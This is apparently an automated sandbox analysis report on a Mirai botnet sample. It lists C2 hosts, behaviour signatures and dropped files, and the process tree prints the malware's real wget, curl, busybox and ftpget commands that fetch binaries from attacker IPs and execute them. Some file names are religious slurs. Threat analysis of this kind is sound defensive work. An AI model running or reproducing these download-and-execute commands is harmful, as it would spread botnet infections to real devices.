Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02/09/2024, 01:10

General

  • Target
    85fa682965abee90f408841d28da35aa16ef5432b3d8f4d18839356febf9c4e1.unknown
  • Size 8KB
  • Sample240902-bjdvhaxcmn
  • SHA256 85fa682965abee90f408841d28da35aa16ef5432b3d8f4d18839356febf9c4e1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • mirai

C2
  • www.ckea.ru

  • www.akck.ru

  • 45.152.112.46

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Contacts a large (42975) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 3 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Writes file to system bin folder 1 TTPs 54 IoCs
  • Changes its process name 1 IoCs
  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/85fa682965abee90f408841d28da35aa16ef5432b3d8f4d18839356febf9c4e1.unknown
    /tmp/85fa682965abee90f408841d28da35aa16ef5432b3d8f4d18839356febf9c4e1.unknown
    1⤵
    • Writes file to system bin folder
    PID:1501
    • /usr/bin/id
      id
      2⤵
      • Reads runtime system information
      PID:1503
    • /bin/sed
      sed -n "s/^uid=[0-9]\\+(\\([^)]\\+\\)).*/\\1/p"
      2⤵
      • Reads runtime system information
      PID:1504
    • /usr/bin/whoami
      whoami
      2⤵
        PID:1505
      • /usr/bin/wget
        wget "http://45.152.112.46/firmware_v4?user=root&dir=/bin"
        2⤵
        • Writes file to system bin folder
        PID:1506
      • /usr/bin/wget
        wget http://45.159.211.121/firmware/firmware.x86_64 -O feankzzyx
        2⤵
        • Writes file to system bin folder
        PID:1510
      • /bin/chmod
        chmod 0755 ./feankzzyx
        2⤵
          PID:1512
        • /bin/feankzzyx
          ./feankzzyx
          2⤵
          • Executes dropped EXE
          • Creates/modifies Cron job
          • Writes file to system bin folder
          • Changes its process name
          • Writes file to tmp directory
          PID:1513
          • /bin/sh
            sh -c "hostname -I"
            3⤵
              PID:1527
              • /bin/hostname
                hostname -I
                4⤵
                  PID:1534
              • /bin/sh
                sh -c "hostname -I"
                3⤵
                  PID:1529
                  • /bin/hostname
                    hostname -I
                    4⤵
                      PID:1537
                  • /bin/sh
                    sh -c "hostname -I"
                    3⤵
                      PID:1530
                      • /bin/hostname
                        hostname -I
                        4⤵
                          PID:1535
                      • /bin/sh
                        sh -c "hostname -I"
                        3⤵
                          PID:1531
                          • /bin/hostname
                            hostname -I
                            4⤵
                              PID:1538
                          • /bin/sh
                            sh -c "crontab /var/spool/cron/crontabs/root"
                            3⤵
                              PID:1558
                              • /usr/bin/crontab
                                crontab /var/spool/cron/crontabs/root
                                4⤵
                                • Creates/modifies Cron job
                                PID:1562
                            • /bin/sh
                              sh -c "crontab /var/spool/cron/crontabs/root"
                              3⤵
                                PID:1559
                                • /usr/bin/crontab
                                  crontab /var/spool/cron/crontabs/root
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:1561
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.armv4l -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1515
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.armv5l -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1528
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.armv6l -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1532
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.armv7l -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1533
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.i586 -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1536
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.i686 -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1542
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.m68k -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1547
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.mips -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1556
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.mipsel -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1560
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.powerpc -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1563
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.sh4 -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1564
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.sparc -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1565
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.arm-linux-gnueabihf -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1566
                            • /usr/bin/wget
                              wget http://45.159.211.121/firmware/firmware.arc -O feankzzyx
                              2⤵
                              • Writes file to system bin folder
                              PID:1567
                            • /bin/rm
                              rm ff0
                              2⤵
                                PID:1568
                              • /bin/rm
                                rm ff1
                                2⤵
                                  PID:1569
                                • /bin/rm
                                  rm ff2
                                  2⤵
                                    PID:1570
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.x86_64 -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1571
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.armv4l -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1572
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.armv5l -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1574
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.armv6l -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1575
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.armv7l -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1576
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.i586 -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1577
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.i686 -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1578
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.m68k -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1579
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.mips -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1580
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.mipsel -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1581
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.powerpc -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1582
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.sh4 -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1583
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.sparc -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1584
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.arm-linux-gnueabihf -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1585
                                  • /usr/bin/curl
                                    curl http://45.159.211.121/firmware/firmware.arc -o feankzzyx
                                    2⤵
                                    • Writes file to system bin folder
                                    PID:1586
                                  • /bin/rm
                                    rm ff0
                                    2⤵
                                      PID:1587
                                    • /bin/rm
                                      rm ff1
                                      2⤵
                                        PID:1588
                                      • /bin/rm
                                        rm ff2
                                        2⤵
                                          PID:1589
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.x86_64 -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1590
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.armv4l -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1595
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.armv5l -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1596
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.armv6l -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1597
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.armv7l -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1598
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.i586 -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1599
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.i686 -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1600
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.m68k -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1601
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.mips -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1602
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.mipsel -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1603
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.powerpc -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1604
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.sh4 -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1605
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.sparc -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1606
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.arm-linux-gnueabihf -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1607
                                        • /bin/busybox
                                          busybox wget http://45.159.211.121/firmware/firmware.arc -O feankzzyx
                                          2⤵
                                          • Writes file to system bin folder
                                          PID:1608
                                        • /bin/rm
                                          rm ff0
                                          2⤵
                                            PID:1609
                                          • /bin/rm
                                            rm ff1
                                            2⤵
                                              PID:1610
                                            • /bin/rm
                                              rm ff2
                                              2⤵
                                                PID:1611
                                              • /bin/busybox
                                                busybox curl http://45.159.211.121/firmware/firmware.x86_64 -o feankzzyx
                                                2⤵
                                                  PID:1612
                                                • /bin/busybox
                                                  busybox curl http://45.159.211.121/firmware/firmware.armv4l -o feankzzyx
                                                  2⤵
                                                    PID:1613
                                                  • /bin/busybox
                                                    busybox curl http://45.159.211.121/firmware/firmware.armv5l -o feankzzyx
                                                    2⤵
                                                      PID:1614
                                                    • /bin/busybox
                                                      busybox curl http://45.159.211.121/firmware/firmware.armv6l -o feankzzyx
                                                      2⤵
                                                        PID:1615
                                                      • /bin/busybox
                                                        busybox curl http://45.159.211.121/firmware/firmware.armv7l -o feankzzyx
                                                        2⤵
                                                          PID:1616
                                                        • /bin/busybox
                                                          busybox curl http://45.159.211.121/firmware/firmware.i586 -o feankzzyx
                                                          2⤵
                                                            PID:1617
                                                          • /bin/busybox
                                                            busybox curl http://45.159.211.121/firmware/firmware.i686 -o feankzzyx
                                                            2⤵
                                                              PID:1618
                                                            • /bin/busybox
                                                              busybox curl http://45.159.211.121/firmware/firmware.m68k -o feankzzyx
                                                              2⤵
                                                                PID:1619
                                                              • /bin/busybox
                                                                busybox curl http://45.159.211.121/firmware/firmware.mips -o feankzzyx
                                                                2⤵
                                                                  PID:1620
                                                                • /bin/busybox
                                                                  busybox curl http://45.159.211.121/firmware/firmware.mipsel -o feankzzyx
                                                                  2⤵
                                                                    PID:1621
                                                                  • /bin/busybox
                                                                    busybox curl http://45.159.211.121/firmware/firmware.powerpc -o feankzzyx
                                                                    2⤵
                                                                      PID:1622
                                                                    • /bin/busybox
                                                                      busybox curl http://45.159.211.121/firmware/firmware.sh4 -o feankzzyx
                                                                      2⤵
                                                                        PID:1623
                                                                      • /bin/busybox
                                                                        busybox curl http://45.159.211.121/firmware/firmware.sparc -o feankzzyx
                                                                        2⤵
                                                                          PID:1624
                                                                        • /bin/busybox
                                                                          busybox wget http://45.159.211.121/firmware/firmware.arm-linux-gnueabihf -O feankzzyx
                                                                          2⤵
                                                                          • Writes file to system bin folder
                                                                          PID:1625
                                                                        • /bin/busybox
                                                                          busybox wget http://45.159.211.121/firmware/firmware.arc -O feankzzyx
                                                                          2⤵
                                                                          • Writes file to system bin folder
                                                                          PID:1626
                                                                        • /bin/rm
                                                                          rm ff0
                                                                          2⤵
                                                                            PID:1627
                                                                          • /bin/rm
                                                                            rm ff1
                                                                            2⤵
                                                                              PID:1628
                                                                            • /bin/rm
                                                                              rm ff2
                                                                              2⤵
                                                                                PID:1629
                                                                              • /bin/rm
                                                                                rm allah_is_satan
                                                                                2⤵
                                                                                  PID:1630
                                                                                • /bin/sleep
                                                                                  sleep 13
                                                                                  2⤵
                                                                                    PID:1632
                                                                                  • /bin/busybox
                                                                                    busybox ftpget 45.159.211.121 allah_is_satan /firmware/firmware.sh
                                                                                    2⤵
                                                                                      PID:1631
                                                                                    • /bin/sh
                                                                                      sh ./allah_is_satan
                                                                                      2⤵
                                                                                        PID:1637

                                                                                    Network

                                                                                          MITRE ATT&CK Enterprise v15

                                                                                          Replay Monitor

                                                                                          Loading Replay Monitor...

                                                                                          Downloads

                                                                                          ALLAH_IS_EVIL.txt

                                                                                          • Path /bin/ALLAH_IS_EVIL.txt
                                                                                          • Size 828B
                                                                                          • SHA256 43a54d24621ffaa1dea049234cc1296ec4f1a8285c4c90254202329d9762ca75
                                                                                          • MD5 SHA1 SHA512

                                                                                          allah_is_satan

                                                                                          • Path /bin/allah_is_satan
                                                                                          • Size 15B
                                                                                          • SHA256 68bf38c7874a4b54ed0dcc53ee8c55194ad2437818a577364a5735a56a819c2b
                                                                                          • MD5 SHA1 SHA512

                                                                                          current_user2

                                                                                          • Path /bin/current_user2
                                                                                          • Size 5B
                                                                                          • SHA256 53175bcc0524f37b47062fafdda28e3f8eb91d519ca0a184ca71bbebe72f969a
                                                                                          • MD5 SHA1 SHA512

                                                                                          feankzzyx

                                                                                          • Path /bin/feankzzyx
                                                                                          • Size 10B
                                                                                          • SHA256 8227203f32d8b00aa0ed784d3f0e11c722f3471d6a99976ee12fa12039fa0484
                                                                                          • MD5 SHA1 SHA512

                                                                                          feankzzyx

                                                                                          • Path /bin/feankzzyx
                                                                                          • Size 113KB
                                                                                          • SHA256 bf5af10c4ceba35363d91795b7231b92339224510923a0e01aa76b6649dfff04
                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                          firmware_v4?user=root&dir=%2Fbin

                                                                                          • Path /bin/firmware_v4?user=root&dir=%2Fbin
                                                                                          • Size 4B
                                                                                          • SHA256 7ca1e25edd006f00775c737c9f1062a685ce2f897ceb52ce6a2bad7292257c1f
                                                                                          • MD5 SHA1 SHA512

                                                                                          d

                                                                                          • Path /etc/d
                                                                                          • Size 10B
                                                                                          • SHA256 f4494c6db1e637d9b6244bdba0f3a4f9fbdf5bb4720a00b1266d47e40cc1303d
                                                                                          • MD5 SHA1 SHA512

                                                                                          d

                                                                                          • Path /etc/d
                                                                                          • Size 20B
                                                                                          • SHA256 a097945146455245f2f88c1270e7311a917bfa5d941887a6e12fcb0c25029f83
                                                                                          • MD5 SHA1 SHA512

                                                                                          d

                                                                                          • Path /etc/d
                                                                                          • Size 50B
                                                                                          • SHA256 b891aeb53c157f42328699360395648b06c162ade76b0cf9f60f442eff3c6331
                                                                                          • MD5 SHA1 SHA512

                                                                                          d

                                                                                          • Path /etc/d
                                                                                          • Size 60B
                                                                                          • SHA256 a2a7ee84fdcdc852dcdc9466fd6d4015e98bdf731ad33fe5cfb062934219c138
                                                                                          • MD5 SHA1 SHA512

                                                                                          allah_is_prick.html

                                                                                          • Path /tmp/allah_is_prick.html
                                                                                          • Size 360B
                                                                                          • SHA256 9d542210472a30c5142df1f1ac2a25d72a453c5dfad27b09f805691a2e936082
                                                                                          • MD5 SHA1 SHA512

                                                                                          root

                                                                                          • Path /var/spool/cron/crontabs/root
                                                                                          • Size 26B
                                                                                          • SHA256 96f8be42a80bc3e00acd286dea3864656653bf4ab01859fbe6276d6e739c03f8
                                                                                          • MD5 SHA1 SHA512

                                                                                          root

                                                                                          • Path /var/spool/cron/crontabs/root
                                                                                          • Size 50B
                                                                                          • SHA256 0da2dd6eaf0a1293418eaded89b00e33c5235ec39f7682234e165c2bbb8901b0
                                                                                          • MD5 SHA1 SHA512

                                                                                          tmp.0WtyLY

                                                                                          • Path /var/spool/cron/crontabs/tmp.0WtyLY
                                                                                          • Size 253B
                                                                                          • SHA256 2b8a4436672ddf8534861fa315aef20bb9013a30abb370f6ad5fdb8c620e8379
                                                                                          • MD5 SHA1 SHA512